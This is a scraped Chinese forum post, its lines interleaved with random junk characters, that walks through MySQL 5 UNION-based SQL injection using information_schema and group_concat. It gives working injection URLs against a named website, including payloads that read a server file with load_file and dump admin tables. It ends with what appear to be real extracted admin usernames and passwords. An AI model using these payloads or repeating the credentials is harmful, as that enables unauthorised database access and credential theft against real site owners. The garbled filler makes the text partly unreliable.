此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
$ ~. {2 }5 R, q0 X7 \4 a但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人: T, y$ Y$ W9 t
! _6 w9 p; X7 V& g" F7 T) n' ~" C( J, n/ S; C3 K, ~
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
$ A" w6 M7 q+ r. A8 R( j
v% ?& V0 ?6 d+ m$ r缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
: `; C1 ^$ h% `8 s" F. B8 ]9 O/ |6 Y' w
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
3 }" o. c( y5 f' N9 X在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等
' E4 R) p: `9 V
5 u/ Y9 Y4 k' r8 z9 y3 h# Ihttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17$ V- n t* R1 u- I
9 o0 h- K) T f( t Q& l. \读出所有库:7 T; O- i" ]+ n! O! w5 v7 L
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
# e; }& b9 q) c1 E9 S- F; S$ Z7 w: {( c% J/ v, b, H+ p0 F% _
3 N8 _# N) k H
- g- m3 c1 i7 d- I( |, Z读出所有表:
- V3 s# m1 ]' Q, e0 u: Ihttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
2 |! l% m* P+ F5 N4 @& `
" i' y8 C1 x g读出所有表字段:: B7 q2 X: T6 c
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)6 \/ s6 ]' ]* o. ]9 J6 g
*/ (97,100,109,105,110)为admin的ascii码 依次类推3 {6 R H/ ~3 W; \6 L
* J2 o6 ~4 O! ~1 M
读出所有表字段里的内容:
* b1 i; P% N6 n' Zhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
5 Y5 j: M2 i/ j, j; s0 e' [7 d. n3 y- U' H
; q$ `' d3 I2 L# ?- Y) t; g, y% |7 c
+ \- y" j7 B+ |- `9 g4 [- N: L
: d& n! _2 |2 P0 I
4 b" ?: M6 O+ j
) r4 Y. ?0 v7 L3 V; D _1 ?! Fhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
$ N! G. o* M+ A t F4 e1 b# j% y& u1 @* G, C
9 o# _# S- H$ Ehttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%239 g5 o3 ]- d% B2 b! a# y( Q' U
" A! O; v! r& W1 z/ Bhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23+ h+ L. {5 b$ j2 |/ Y
5 h1 S8 ?8 v/ g) d$ ]
) r* r& [3 p$ Chttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
7 ?6 w0 }0 Y7 K. E- h' v: r8 N
% X$ u. R2 [* S, I! ` webmaster:dzb521123,simlab:simadmin20043233% r" T8 \9 ?3 Z( p% M" x$ ]- ]) y/ q
|